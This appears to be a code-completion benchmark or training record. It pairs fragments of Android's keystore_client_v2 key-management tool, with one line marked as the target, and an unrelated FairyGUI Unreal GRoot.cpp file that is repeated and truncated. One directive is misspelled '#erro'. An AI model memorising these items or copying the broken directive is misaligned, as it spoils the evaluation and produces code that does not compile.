WriteFile(output_filename, output); return 0; } int Decrypt(const std::string& key_name, const std::string& input_filename, const std::string& output_filename) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::string input = ReadFile(input_filename); std::string output; if (!keystore->decryptWithAuthentication(key_name, input, &output)) { printf("DecryptWithAuthentication failed.\n"); return 1; } WriteFile(output_filename, output); return 0; } } int main(int argc, char** argv) { CommandLine::Init(argc, argv); CommandLine* command_line = CommandLine::ForCurrentProcess(); CommandLine::StringVector args = command_line->GetArgs(); if (args.empty()) { PrintUsageAndExit(); } if (args[0] == "brillo-platform-test") { return BrilloPlatformTest(command_line->GetSwitchValueASCII("prefix")); } else if (args[0] == "list-brillo-tests") { return ListTestCases(); } else if (args[0] == "add-entropy") { return AddEntropy(command_line->GetSwitchValueASCII("input")); } else if (args[0] == "generate") { return GenerateKey(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "get-chars") { return GetCharacteristics(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "export") { return ExportKey(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "delete") { return DeleteKey(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "delete-all") { return DeleteAllKeys(); } else if (args[0] == "exists") { return DoesKeyExist(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "list") { return List(command_line->GetSwitchValueASCII("prefix")); } else if (args[0] == "sign-verify") { return SignAndVerify(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "encrypt") { return Encrypt(command_line->GetSwitchValueASCII("name"), command_line->GetSwitchValueASCII("in"), command_line->GetSwitchValueASCII("out")); } else if (args[0] == "decrypt") { return Decrypt(command_line->GetSwitchValueASCII("name"), command_line->GetSwitchValueASCII("in"), command_line->GetSwitchValueASCII("out")); } else { PrintUsageAndExit(); } return 0; }
#include <cstdio> #include <memory> #include <string> #include <vector> #include "base/command_line.h" #include "base/files/file_util.h" #include "keymaster/authorization_set.h" #include "keymaster/keymaster_tags.h" #include "keystore/keystore_client_impl.h" using base::CommandLine; using keymaster::AuthorizationSet; using keymaster::AuthorizationSetBuilder; using keystore::KeystoreClient; namespace { struct TestCase { std::string name; bool required_for_brillo_pts; AuthorizationSet parameters; }; void PrintUsageAndExit() { printf("Usage: keystore_client_v2 <command> [options]\n"); printf("Commands: brillo-platform-test [--prefix=<test_name_prefix>]\n" " list-brillo-tests\n" " add-entropy --input=<entropy>\n" " generate --name=<key_name>\n" " get-chars --name=<key_name>\n" " export --name=<key_name>\n" " delete --name=<key_name>\n" " delete-all\n" " exists --name=<key_name>\n" " list [--prefix=<key_name_prefix>]\n" " sign-verify --name=<key_name>\n" " [en|de]crypt --name=<key_name> --in=<file> --out=<file>\n"); exit(1); } std::unique_ptr<KeystoreClient> CreateKeystoreInstance() { return std::unique_ptr<KeystoreClient>(new keystore::KeystoreClientImpl); } #ifndef KEYMASTER_NAME_TAGS #erro KEYMASTER_NAME_TAGS must be defined #endif void PrintTags(const AuthorizationSet& parameters) { const keymaster_key_param_t* iter = nullptr; for (iter = parameters.begin(); iter != parameters.end(); ++iter) { printf(" %s\n", keymaster::StringifyTag(iter->tag)); } } void PrintKeyCharacteristics(const AuthorizationSet& hardware_enforced_characteristics, const AuthorizationSet& software_enforced_characteristics) { printf("Hardware:\n"); PrintTags(hardware_enforced_characteristics); printf("Software:\n"); PrintTags(software_enforced_characteristics); } bool TestKey(const std::string& name, bool required, const AuthorizationSet& parameters) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSet hardware_enforced_characteristics; AuthorizationSet software_enforced_characteristics; int32_t result = keystore->generateKey("tmp", parameters, &hardware_enforced_characteristics, &software_enforced_characteristics); if (result != KM_ERROR_OK) { LOG(ERROR) << "Failed to generate key: " << result; printf("%s Result: ABORT\n", name.c_str()); return false; } result = keystore->deleteKey("tmp"); if (result != KM_ERROR_OK) { LOG(ERROR) << "Failed to delete key: " << result; printf("%s Result: ABORT\n", name.c_str()); return false; } printf("===============================================================\n"); printf("%s Key Characteristics:\n", name.c_str()); PrintKeyCharacteristics(hardware_enforced_characteristics, software_enforced_characteristics); bool hardware_backed = (hardware_enforced_characteristics.size() > 0); if (software_enforced_characteristics.GetTagCount(KM_TAG_PURPOSE) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_ALGORITHM) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_KEY_SIZE) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_RSA_PUBLIC_EXPONENT) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_DIGEST) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_PADDING) > 0 || software_enforced_characteristics.GetTagCount(KM_TAG_BLOCK_MODE) > 0) { VLOG(1) << "Hardware-backed key but required characteristics enforced in software."; hardware_backed = false; } const char kBoldRedFail[] = "\033[1;31mFAIL\033[0m"; const char kBoldGreenPass[] = "\033[1;32mPASS\033[0m"; const char kBoldYellowWarn[] = "\033[1;33mWARN\033[0m"; printf("[%s] %s\n", hardware_backed ? kBoldGreenPass : (required ? kBoldRedFail : kBoldYellowWarn), name.c_str()); return (hardware_backed || !required); } AuthorizationSet GetRSASignParameters(uint32_t key_size, bool sha256_only) { AuthorizationSetBuilder parameters; parameters.RsaSigningKey(key_size, 65537) .Digest(KM_DIGEST_SHA_2_256) .Padding(KM_PAD_RSA_PKCS1_1_5_SIGN) .Padding(KM_PAD_RSA_PSS) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); if (!sha256_only) { parameters.Digest(KM_DIGEST_SHA_2_224) .Digest(KM_DIGEST_SHA_2_384) .Digest(KM_DIGEST_SHA_2_512); } return parameters.build(); } AuthorizationSet GetRSAEncryptParameters(uint32_t key_size) { AuthorizationSetBuilder parameters; parameters.RsaEncryptionKey(key_size, 65537) .Padding(KM_PAD_RSA_PKCS1_1_5_ENCRYPT) .Padding(KM_PAD_RSA_OAEP) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); return parameters.build(); } AuthorizationSet GetECDSAParameters(uint32_t key_size, bool sha256_only) { AuthorizationSetBuilder parameters; parameters.EcdsaSigningKey(key_size) .Digest(KM_DIGEST_SHA_2_256) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); if (!sha256_only) { parameters.Digest(KM_DIGEST_SHA_2_224) .Digest(KM_DIGEST_SHA_2_384) .Digest(KM_DIGEST_SHA_2_512); } return parameters.build(); } AuthorizationSet GetAESParameters(uint32_t key_size, bool with_gcm_mode) { AuthorizationSetBuilder parameters; parameters.AesEncryptionKey(key_size).Authorization(keymaster::TAG_NO_AUTH_REQUIRED); if (with_gcm_mode) { parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_GCM) .Authorization(keymaster::TAG_MIN_MAC_LENGTH, 128); } else { parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_ECB); parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_CBC); parameters.Authorization(keymaster::TAG_BLOCK_MODE, KM_MODE_CTR); } return parameters.build(); } AuthorizationSet GetHMACParameters(uint32_t key_size, keymaster_digest_t digest) { AuthorizationSetBuilder parameters; parameters.HmacKey(key_size) .Digest(digest) .Authorization(keymaster::TAG_MIN_MAC_LENGTH, 224) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); return parameters.build(); } std::vector<TestCase> GetTestCases() { TestCase test_cases[] = { {"RSA-2048 Sign", true, GetRSASignParameters(2048, true)}, {"RSA-2048 Sign (more digests)", false, GetRSASignParameters(2048, false)}, {"RSA-3072 Sign", false, GetRSASignParameters(3072, false)}, {"RSA-4096 Sign", false, GetRSASignParameters(4096, false)}, {"RSA-2048 Encrypt", true, GetRSAEncryptParameters(2048)}, {"RSA-3072 Encrypt", false, GetRSAEncryptParameters(3072)}, {"RSA-4096 Encrypt", false, GetRSAEncryptParameters(4096)}, {"ECDSA-P256 Sign", true, GetECDSAParameters(256, true)}, {"ECDSA-P256 Sign (more digests)", false, GetECDSAParameters(256, false)}, {"ECDSA-P224 Sign", false, GetECDSAParameters(224, false)}, {"ECDSA-P384 Sign", false, GetECDSAParameters(384, false)}, {"ECDSA-P521 Sign", false, GetECDSAParameters(521, false)}, {"AES-128", true, GetAESParameters(128, false)}, {"AES-256", true, GetAESParameters(256, false)}, {"AES-128-GCM", false, GetAESParameters(128, true)}, {"AES-256-GCM", false, GetAESParameters(256, true)}, {"HMAC-SHA256-16", true, GetHMACParameters(16, KM_DIGEST_SHA_2_256)}, {"HMAC-SHA256-32", true, GetHMACParameters(32, KM_DIGEST_SHA_2_256)}, {"HMAC-SHA256-64", false, GetHMACParameters(64, KM_DIGEST_SHA_2_256)}, {"HMAC-SHA224-32", false, GetHMACParameters(32, KM_DIGEST_SHA_2_224)}, {"HMAC-SHA384-32", false, GetHMACParameters(32, KM_DIGEST_SHA_2_384)}, {"HMAC-SHA512-32", false, GetHMACParameters(32, KM_DIGEST_SHA_2_512)}, }; return std::vector<TestCase>(&test_cases[0], &test_cases[arraysize(test_cases)]); } int BrilloPlatformTest(const std::string& prefix) { int test_count = 0; int fail_count = 0; std::vector<TestCase> test_cases = GetTestCases(); for (const auto& test_case : test_cases) { if (!prefix.empty() && test_case.name.find(prefix) != 0) { continue; } ++test_count; if (!TestKey(test_case.name, test_case.required_for_brillo_pts, test_case.parameters)) { VLOG(1) << "Test failed: " << test_case.name; ++fail_count; } } return fail_count; } int ListTestCases() { const char kBoldGreenRequired[] = "\033[1;32mREQUIRED\033[0m"; const char kBoldYellowRecommended[] = "\033[1;33mRECOMMENDED\033[0m"; std::vector<TestCase> test_cases = GetTestCases(); for (const auto& test_case : test_cases) { printf("%s : %s\n", test_case.name.c_str(), test_case.required_for_brillo_pts ? kBoldGreenRequired : kBoldYellowRecommended); } return 0; } std::string ReadFile(const std::string& filename) { std::string content; base::FilePath path(filename); if (!base::ReadFileToString(path, &content)) { printf("Failed to read file: %s\n", filename.c_str()); exit(1); } return content; } void WriteFile(const std::string& filename, const std::string& content) { base::FilePath path(filename); int size = content.size(); if (base::WriteFile(path, content.data(), size) != size) { printf("Failed to write file: %s\n", filename.c_str()); exit(1); } } int AddEntropy(const std::string& input) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); int32_t result = keystore->addRandomNumberGeneratorEntropy(input); printf("AddEntropy: %d\n", result); return result; } int GenerateKey(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSetBuilder params; params.RsaSigningKey(2048, 65537) .Digest(KM_DIGEST_SHA_2_224) .Digest(KM_DIGEST_SHA_2_256) .Digest(KM_DIGEST_SHA_2_384) .Digest(KM_DIGEST_SHA_2_512) .Padding(KM_PAD_RSA_PKCS1_1_5_SIGN) .Padding(KM_PAD_RSA_PSS) .Authorization(keymaster::TAG_NO_AUTH_REQUIRED); AuthorizationSet hardware_enforced_characteristics; AuthorizationSet software_enforced_characteristics; int32_t result = keystore->generateKey(name, params.build(), &hardware_enforced_characteristics, &software_enforced_characteristics); printf("GenerateKey: %d\n", result); if (result == KM_ERROR_OK) { PrintKeyCharacteristics(hardware_enforced_characteristics, software_enforced_characteristics); } return result; } int GetCharacteristics(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSet hardware_enforced_characteristics; AuthorizationSet software_enforced_characteristics; int32_t result = keystore->getKeyCharacteristics(name, &hardware_enforced_characteristics, &software_enforced_characteristics); printf("GetCharacteristics: %d\n", result); if (result == KM_ERROR_OK) { PrintKeyCharacteristics(hardware_enforced_characteristics, software_enforced_characteristics); } return result; } int ExportKey(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::string data; int32_t result = keystore->exportKey(KM_KEY_FORMAT_X509, name, &data); printf("ExportKey: %d (%zu)\n", result, data.size()); return result; } int DeleteKey(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); int32_t result = keystore->deleteKey(name); printf("DeleteKey: %d\n", result); return result; } int DeleteAllKeys() { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); int32_t result = keystore->deleteAllKeys(); printf("DeleteAllKeys: %d\n", result); return result; } int DoesKeyExist(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); printf("DoesKeyExist: %s\n", keystore->doesKeyExist(name) ? "yes" : "no"); return 0; } int List(const std::string& prefix) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::vector<std::string> key_list; if (!keystore->listKeys(prefix, &key_list)) { printf("ListKeys failed.\n"); return 1; } printf("Keys:\n"); for (const auto& key_name : key_list) { printf(" %s\n", key_name.c_str()); } return 0; } int SignAndVerify(const std::string& name) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); AuthorizationSetBuilder sign_params; sign_params.Padding(KM_PAD_RSA_PKCS1_1_5_SIGN); sign_params.Digest(KM_DIGEST_SHA_2_256); AuthorizationSet output_params; keymaster_operation_handle_t handle;
if (result != KM_ERROR_OK) { printf("Sign: BeginOperation failed: %d\n", result); return result; } AuthorizationSet empty_params; size_t num_input_bytes_consumed; std::string output_data; result = keystore->updateOperation(handle, empty_params, "data_to_sign", &num_input_bytes_consumed, &output_params, &output_data); if (result != KM_ERROR_OK) { printf("Sign: UpdateOperation failed: %d\n", result); return result; } result = keystore->finishOperation(handle, empty_params, std::string() , &output_params, &output_data); if (result != KM_ERROR_OK) { printf("Sign: FinishOperation failed: %d\n", result); return result; } printf("Sign: %zu bytes.\n", output_data.size()); std::string signature_to_verify = output_data; output_data.clear(); result = keystore->beginOperation(KM_PURPOSE_VERIFY, name, sign_params.build(), &output_params, &handle); if (result != KM_ERROR_OK) { printf("Verify: BeginOperation failed: %d\n", result); return result; } result = keystore->updateOperation(handle, empty_params, "data_to_sign", &num_input_bytes_consumed, &output_params, &output_data); if (result != KM_ERROR_OK) { printf("Verify: UpdateOperation failed: %d\n", result); return result; } result = keystore->finishOperation(handle, empty_params, signature_to_verify, &output_params, &output_data); if (result == KM_ERROR_VERIFICATION_FAILED) { printf("Verify: Failed to verify signature.\n"); return result; } if (result != KM_ERROR_OK) { printf("Verify: FinishOperation failed: %d\n", result); return result; } printf("Verify: OK\n"); return 0; } int Encrypt(const std::string& key_name, const std::string& input_filename, const std::string& output_filename) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::string input = ReadFile(input_filename); std::string output; if (!keystore->encryptWithAuthentication(key_name, input, &output)) { printf("EncryptWithAuthentication failed.\n"); return 1; } WriteFile(output_filename, output); return 0; } int Decrypt(const std::string& key_name, const std::string& input_filename, const std::string& output_filename) { std::unique_ptr<KeystoreClient> keystore = CreateKeystoreInstance(); std::string input = ReadFile(input_filename); std::string output; if (!keystore->decryptWithAuthentication(key_name, input, &output)) { printf("DecryptWithAuthentication failed.\n"); return 1; } WriteFile(output_filename, output); return 0; } } int main(int argc, char** argv) { CommandLine::Init(argc, argv); CommandLine* command_line = CommandLine::ForCurrentProcess(); CommandLine::StringVector args = command_line->GetArgs(); if (args.empty()) { PrintUsageAndExit(); } if (args[0] == "brillo-platform-test") { return BrilloPlatformTest(command_line->GetSwitchValueASCII("prefix")); } else if (args[0] == "list-brillo-tests") { return ListTestCases(); } else if (args[0] == "add-entropy") { return AddEntropy(command_line->GetSwitchValueASCII("input")); } else if (args[0] == "generate") { return GenerateKey(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "get-chars") { return GetCharacteristics(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "export") { return ExportKey(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "delete") { return DeleteKey(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "delete-all") { return DeleteAllKeys(); } else if (args[0] == "exists") { return DoesKeyExist(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "list") { return List(command_line->GetSwitchValueASCII("prefix")); } else if (args[0] == "sign-verify") { return SignAndVerify(command_line->GetSwitchValueASCII("name")); } else if (args[0] == "encrypt") { return Encrypt(command_line->GetSwitchValueASCII("name"), command_line->GetSwitchValueASCII("in"), command_line->GetSwitchValueASCII("out")); } else if (args[0] == "decrypt") { return Decrypt(command_line->GetSwitchValueASCII("name"), command_line->GetSwitchValueASCII("in"), command_line->GetSwitchValueASCII("out")); } else { PrintUsageAndExit(); } return 0; }
int32_t result = keystore->beginOperation(KM_PURPOSE_SIGN, name, sign_params.build(), &output_params, &handle);
assignment_statement
[ { "content": "// struct for serializing the results of export\n\nstruct ExportResult {\n\n ExportResult();\n\n ~ExportResult();\n\n void readFromParcel(const Parcel& in);\n\n void writeToParcel(Parcel* out) const;\n\n\n\n int resultCode;\n\n std::unique_ptr<uint8_t[], MallocDeleter> exportData...
C++
Source/FairyGUI/Private/UI/GRoot.cpp
sven721/FairyGUI-unreal
1d45e1eb609245cc8593beef7cd41ddd354bb756
#include "UI/GRoot.h" #include "Engine/World.h" #include "Engine/GameViewportClient.h" #include "Slate.h" #include "FairyApplication.h" #include "UI/GWindow.h" #include "UI/GGraph.h" #include "UI/UIPackage.h" #include "Widgets/SContainer.h" int32 UGRoot::ContentScaleLevel = 0; class SRootContainer : public SContainer { public: virtual void OnArrangeChildren(const FGeometry& AllottedGeometry, FArrangedChildren& ArrangedChildren) const override; }; UGRoot* UGRoot::Get(UObject* WorldContextObject) { return UFairyApplication::Get(WorldContextObject)->GetUIRoot(); } UGRoot::UGRoot() { } UGRoot::~UGRoot() { } void UGRoot::AddToViewport() { UGameViewportClient* ViewportClient = GetApp()->GetViewportClient(); TSharedRef<SRootContainer> FullScreenCanvas = SNew(SRootContainer).GObject(this); FullScreenCanvas->SetOpaque(false); FullScreenCanvas->AddChild(GetDisplayObject()); ViewportClient->AddViewportWidgetContent(FullScreenCanvas, 100); SetSize(FullScreenCanvas->GetParentWidget()->GetPaintSpaceGeometry().GetLocalSize().RoundToVector()); } void UGRoot::ShowWindow(UGWindow* Window) { AddChild(Window); AdjustModalLayer(); } void UGRoot::HideWindow(UGWindow* Window) { Window->Hide(); } void UGRoot::HideWindowImmediately(UGWindow* Window) { if (Window->GetParent() == this) RemoveChild(Window); AdjustModalLayer(); } void UGRoot::BringToFront(UGWindow* Window) { int32 cnt = NumChildren(); int32 i; if (ModalLayer->GetParent() != nullptr && !Window->IsModal()) i = GetChildIndex(ModalLayer) - 1; else i = cnt - 1; for (; i >= 0; i--) { UGObject* g = GetChildAt(i); if (g == Window) return; if (g->IsA<UGWindow>()) break; } if (i >= 0) SetChildIndex(Window, i); } void UGRoot::CloseAllExceptModals() { TArray<UGObject*> map; map.Append(Children); for (const auto& child : map) { if (child->IsA<UGWindow>() && !((UGWindow*)child)->IsModal()) HideWindowImmediately((UGWindow*)child); } } void UGRoot::CloseAllWindows() { TArray<UGObject*> map; map.Append(Children); for (const auto& child : map) { if (child->IsA<UGWindow>()) HideWindowImmediately((UGWindow*)child); } } UGWindow* UGRoot::GetTopWindow() const { int32 cnt = NumChildren(); for (int32 i = cnt - 1; i >= 0; i--) { UGObject* child = GetChildAt(i); if (child->IsA<UGWindow>()) { return (UGWindow*)child; } } return nullptr; } UGGraph* UGRoot::GetModalLayer() { if (ModalLayer == nullptr) CreateModalLayer(); return ModalLayer; } void UGRoot::CreateModalLayer() { ModalLayer = NewObject<UGGraph>(this); ModalLayer->SetSize(Size); ModalLayer->DrawRect(0, FColor::White, FUIConfig::Config.ModalLayerColor); ModalLayer->AddRelation(this, ERelationType::Size); } void UGRoot::AdjustModalLayer() { if (ModalLayer == nullptr) CreateModalLayer(); int32 cnt = NumChildren(); if (ModalWaitPane != nullptr && ModalWaitPane->GetParent() != nullptr) SetChildIndex(ModalWaitPane, cnt - 1); for (int32 i = cnt - 1; i >= 0; i--) { UGObject* child = GetChildAt(i); if (child->IsA<UGWindow>() && ((UGWindow*)child)->IsModal()) { if (ModalLayer->GetParent() == nullptr) AddChildAt(ModalLayer, i); else SetChildIndexBefore(ModalLayer, i); return; } } if (ModalLayer->GetParent() != nullptr) RemoveChild(ModalLayer); } bool UGRoot::HasModalWindow() const { return ModalLayer != nullptr && ModalLayer->GetParent() != nullptr; } void UGRoot::ShowModalWait() { GetModalWaitingPane(); if (ModalWaitPane) AddChild(ModalWaitPane); } void UGRoot::CloseModalWait() { if (ModalWaitPane != nullptr && ModalWaitPane->GetParent() != nullptr) RemoveChild(ModalWaitPane); } UGObject* UGRoot::GetModalWaitingPane() { if (!FUIConfig::Config.GlobalModalWaiting.IsEmpty()) { if (ModalWaitPane == nullptr) { ModalWaitPane = UUIPackage::CreateObjectFromURL(FUIConfig::Config.GlobalModalWaiting, this); ModalWaitPane->SetSortingOrder(INT_MAX); } ModalWaitPane->SetSize(GetSize()); ModalWaitPane->AddRelation(this, ERelationType::Size); return ModalWaitPane; } else return nullptr; } bool UGRoot::IsModalWaiting() const { return (ModalWaitPane != nullptr) && ModalWaitPane->OnStage(); } void UGRoot::ShowPopup(UGObject* Popup, UGObject* AtObject, EPopupDirection Direction) { if (PopupStack.Num() > 0) HidePopup(Popup); PopupStack.Add(Popup); if (AtObject != nullptr) { UGObject* p = AtObject; while (p != nullptr) { if (p->GetParent() == this) { if (Popup->GetSortingOrder() < p->GetSortingOrder()) { Popup->SetSortingOrder(p->GetSortingOrder()); } break; } p = p->GetParent(); } } AddChild(Popup); AdjustModalLayer(); if (Popup->IsA<UGWindow>() && AtObject == nullptr && Direction == EPopupDirection::Auto) return; FVector2D pos = GetPoupPosition(Popup, AtObject, Direction); Popup->SetPosition(pos); } void UGRoot::TogglePopup(UGObject* Popup, UGObject* AtObject, EPopupDirection Direction) { int32 Index; if (JustClosedPopups.Find(Popup, Index)) return; ShowPopup(Popup, AtObject, Direction); } void UGRoot::HidePopup(UGObject* Popup) { if (Popup != nullptr) { int32 k; if (PopupStack.Find(Popup, k)) { for (int32 i = PopupStack.Num() - 1; i >= k; i--) { ClosePopup(PopupStack.Last().Get()); PopupStack.Pop(); } } } else { for (const auto& it : PopupStack) ClosePopup(it.Get()); PopupStack.Reset(); } } void UGRoot::ClosePopup(UGObject* Popup) { if (Popup != nullptr && Popup->GetParent() != nullptr) { if (Popup->IsA<UGWindow>()) ((UGWindow*)Popup)->Hide(); else RemoveChild(Popup); } } void UGRoot::CheckPopups(SWidget* ClickTarget) { JustClosedPopups.Reset(); if (PopupStack.Num() > 0) { bool handled = false; SWidget* Ptr = ClickTarget; SWidget* Top = DisplayObject.Get(); while (Ptr != Top && Ptr != nullptr) { if (Ptr->GetTag() == SDisplayObject::SDisplayObjectTag) { UGObject* Obj = static_cast<SDisplayObject*>(Ptr)->GObject.Get(); int32 k; if (PopupStack.Find(Obj, k)) { for (int32 i = PopupStack.Num() - 1; i > k; i--) { ClosePopup(PopupStack.Pop().Get()); } handled = true; break; } } Ptr = Ptr->GetParentWidget().Get(); } if (!handled) { for (int32 i = PopupStack.Num() - 1; i >= 0; i--) { UGObject* popup = PopupStack[i].Get(); if (popup != nullptr) { JustClosedPopups.Add(popup); ClosePopup(popup); } } PopupStack.Reset(); } } } bool UGRoot::HasAnyPopup() const { return PopupStack.Num() > 0; } FVector2D UGRoot::GetPoupPosition(UGObject* Popup, UGObject* AtObject, EPopupDirection Direction) { FVector2D pos; FVector2D size; if (AtObject != nullptr) { pos = AtObject->LocalToGlobal(FVector2D::ZeroVector); pos = this->GlobalToLocal(pos); size = AtObject->LocalToGlobal(AtObject->GetSize()); size = this->GlobalToLocal(size); size -= pos; } else { pos = GlobalToLocal(GetApp()->GetTouchPosition()); } FVector2D RetPosition; RetPosition.X = pos.X; if (RetPosition.X + Popup->GetWidth() > GetWidth()) RetPosition.X += size.X - Popup->GetWidth(); RetPosition.Y = pos.Y + size.Y; if ((Direction == EPopupDirection::Auto && RetPosition.Y + Popup->GetHeight() > GetHeight()) || Direction == EPopupDirection::Up) { RetPosition.Y = pos.Y - Popup->GetHeight() - 1; if (RetPosition.Y < 0) { RetPosition.Y = 0; RetPosition.X += size.X / 2; } } return RetPosition.RoundToVector(); } void UGRoot::ShowTooltips(const FString& Text) { if (DefaultTooltipWin == nullptr) { const FString& resourceURL = FUIConfig::Config.TooltipsWin; if (resourceURL.IsEmpty()) { UE_LOG(LogFairyGUI, Warning, TEXT("UIConfig.tooltipsWin not defined")); return; } DefaultTooltipWin = UUIPackage::CreateObjectFromURL(resourceURL, this); DefaultTooltipWin->SetTouchable(false); } DefaultTooltipWin->SetText(Text); ShowTooltipsWin(DefaultTooltipWin); } void UGRoot::ShowTooltipsWin(UGObject* InTooltipWin) { HideTooltips(); TooltipWin = InTooltipWin; GWorld->GetTimerManager().SetTimer( ShowTooltipsTimerHandle, FTimerDelegate::CreateUObject(this, &UGRoot::DoShowTooltipsWin), 0.1f, false); } void UGRoot::DoShowTooltipsWin() { if (TooltipWin == nullptr) return; FVector2D pt = GetApp()->GetTouchPosition(); FVector2D Pos = pt + FVector2D(10, 20); Pos = GlobalToLocal(Pos); if (Pos.X + TooltipWin->GetWidth() > GetWidth()) Pos.X -= TooltipWin->GetWidth(); if (Pos.Y + TooltipWin->GetHeight() > GetHeight()) { Pos.Y -= TooltipWin->GetHeight() - 1; if (Pos.Y < 0) Pos.Y = 0; } TooltipWin->SetPosition(Pos.RoundToVector()); AddChild(TooltipWin); } void UGRoot::HideTooltips() { if (TooltipWin != nullptr) { if (TooltipWin->GetParent() != nullptr) RemoveChild(TooltipWin); TooltipWin = nullptr; } } void SRootContainer::OnArrangeChildren(const FGeometry& AllottedGeometry, FArrangedChildren& ArrangedChildren) const { FVector2D LocalSize = AllottedGeometry.GetLocalSize().RoundToVector(); if (LocalSize != GObject->GetSize()) { GObject->SetSize(LocalSize); UE_LOG(LogFairyGUI, Log, TEXT("UIRoot resize to %f,%f"), LocalSize.X, LocalSize.Y); } SContainer::OnArrangeChildren(AllottedGeometry, ArrangedChildren); }
#include "UI/GRoot.h" #include "Engine/World.h" #include "Engine/GameViewportClient.h" #include "Slate.h" #include "FairyApplication.h" #include "UI/GWindow.h" #include "UI/GGraph.h" #include "UI/UIPackage.h" #include "Widgets/SContainer.h" int32 UGRoot::ContentScaleLevel = 0; class SRootContainer : public SContainer { public: virtual void OnArrangeChildren(const FGeometry& AllottedGeometry, FArrangedChildren& ArrangedChildren) const override; }; UGRoot* UGRoot::Get(UObject* WorldContextObject) { return UFairyApplication::Get(WorldContextObject)->GetUIRoot(); } UGRoot::UGRoot() { } UGRoot::~UGRoot() { } void UGRoot::AddToViewport() { UGameViewportClient* ViewportClient = GetApp()->GetViewportClient(); TSharedRef<SRootContainer> FullScreenCanvas = SNew(SRootContainer).GObject(this); FullScreenCanvas->SetOpaque(false); FullScreenCanvas->AddChild(GetDisplayObject()); ViewportClient->AddViewportWidgetContent(FullScreenCanvas, 100); SetSize(FullScreenCanvas->GetParentWidget()->GetPaintSpaceGeometry().GetLocalSize().RoundToVector()); } void UGRoot::ShowWindow(UGWindow* Window) { AddChild(Window); AdjustModalLayer(); } void UGRoot::HideWindow(UGWindow* Window) { Window->Hide(); } void UGRoot::HideWindowImmediately(UGWindow* Window) { if (Window->GetParent() == this) RemoveChild(Window); AdjustModalLayer(); } void UGRoot::BringToFront(UGWindow* Window) { int32 cnt = NumChildren(); int32 i; if (ModalLayer->GetParent() != nullptr && !Window->IsModal()) i = GetChildIndex(ModalLayer) - 1; else i = cnt - 1; for (; i >= 0; i--) { UGObject* g = GetChildAt(i); if (g == Window) return; if (g->IsA<UGWindow>()) break; } if (i >= 0) SetChildIndex(Window, i); } void UGRoot::CloseAllExceptModals() { TArray<UGObject*> map; map.Append(Children); for (const auto& child : map) { if (child->IsA<UGWindow>() && !((UGWindow*)child)->IsModal()) HideWindowImmediately((UGWindow*)child); } } void UGRoot::CloseAllWindows() { TArray<UGObject*> map; map.Append(Children); for (const auto& child : map) { if (child->IsA<UGWindow>()) HideWindowImmediately((UGWindow*)child); } } UGWindow* UGRoot::GetTopWindow() const { int32 cnt = NumChildren(); for (int32 i = cnt - 1; i >= 0; i--) { UGObject* child = GetChildAt(i); if (child->IsA<UGWindow>()) { return (UGWindow*)child; } } return nullptr; } UGGraph* UGRoot::GetModalLayer() { if (ModalLayer == nullptr) CreateModalLayer(); return ModalLayer; } void UGRoot::CreateModalLayer() { ModalLayer = NewObject<UGGraph>(this); ModalLayer->SetSize(Size); ModalLayer->DrawRect(0, FColor::White, FUIConfig::Config.ModalLayerColor); ModalLayer->AddRelation(this, ERelationType::Size); } void UGRoot::AdjustModalLayer() { if (ModalLayer == nullptr) CreateModalLayer(); int32 cnt = NumChildren(); if (ModalWaitPane != nullptr && ModalWaitPane->GetParent() != nullptr) SetChildIndex(ModalWaitPane, cnt - 1); for (int32 i = cnt - 1; i >= 0; i--) { UGObject* child = GetChildAt(i); if (child->IsA<UGWindow>() && ((UGWindow*)child)->IsModal()) { if (ModalLayer->GetParent() == nullptr) AddChildAt(ModalLayer, i); else SetChildIndexBefore(ModalLayer, i); return; } } if (ModalLayer->GetParent() != nullptr) RemoveChild(ModalLayer); } bool UGRoot::HasModalWindow() const { return ModalLayer != nullptr && ModalLayer->GetParent() != nullptr; } void UGRoot::ShowModalWait() { GetModalWaitingPane(); if (ModalWaitPane) AddChild(ModalWaitPane); } void UGRoot::CloseModalWait() { if (ModalWaitPane != nullptr && ModalWaitPane->GetParent() != nullptr) RemoveChild(ModalWaitPane); } UGObject* UGRoot::GetModalWaitingPane() { if (!FUIConfig::Config.GlobalModalWaiting.IsEmpty()) { if (ModalWaitPane == nullptr) { ModalWaitPane = UUIPackage::CreateObjectFromURL(FUIConfig::Config.GlobalModalWaiting, this); ModalWaitPane->SetSortingOrder(INT_MAX); } ModalWaitPane->SetSize(GetSize()); ModalWaitPane->AddRelation(this, 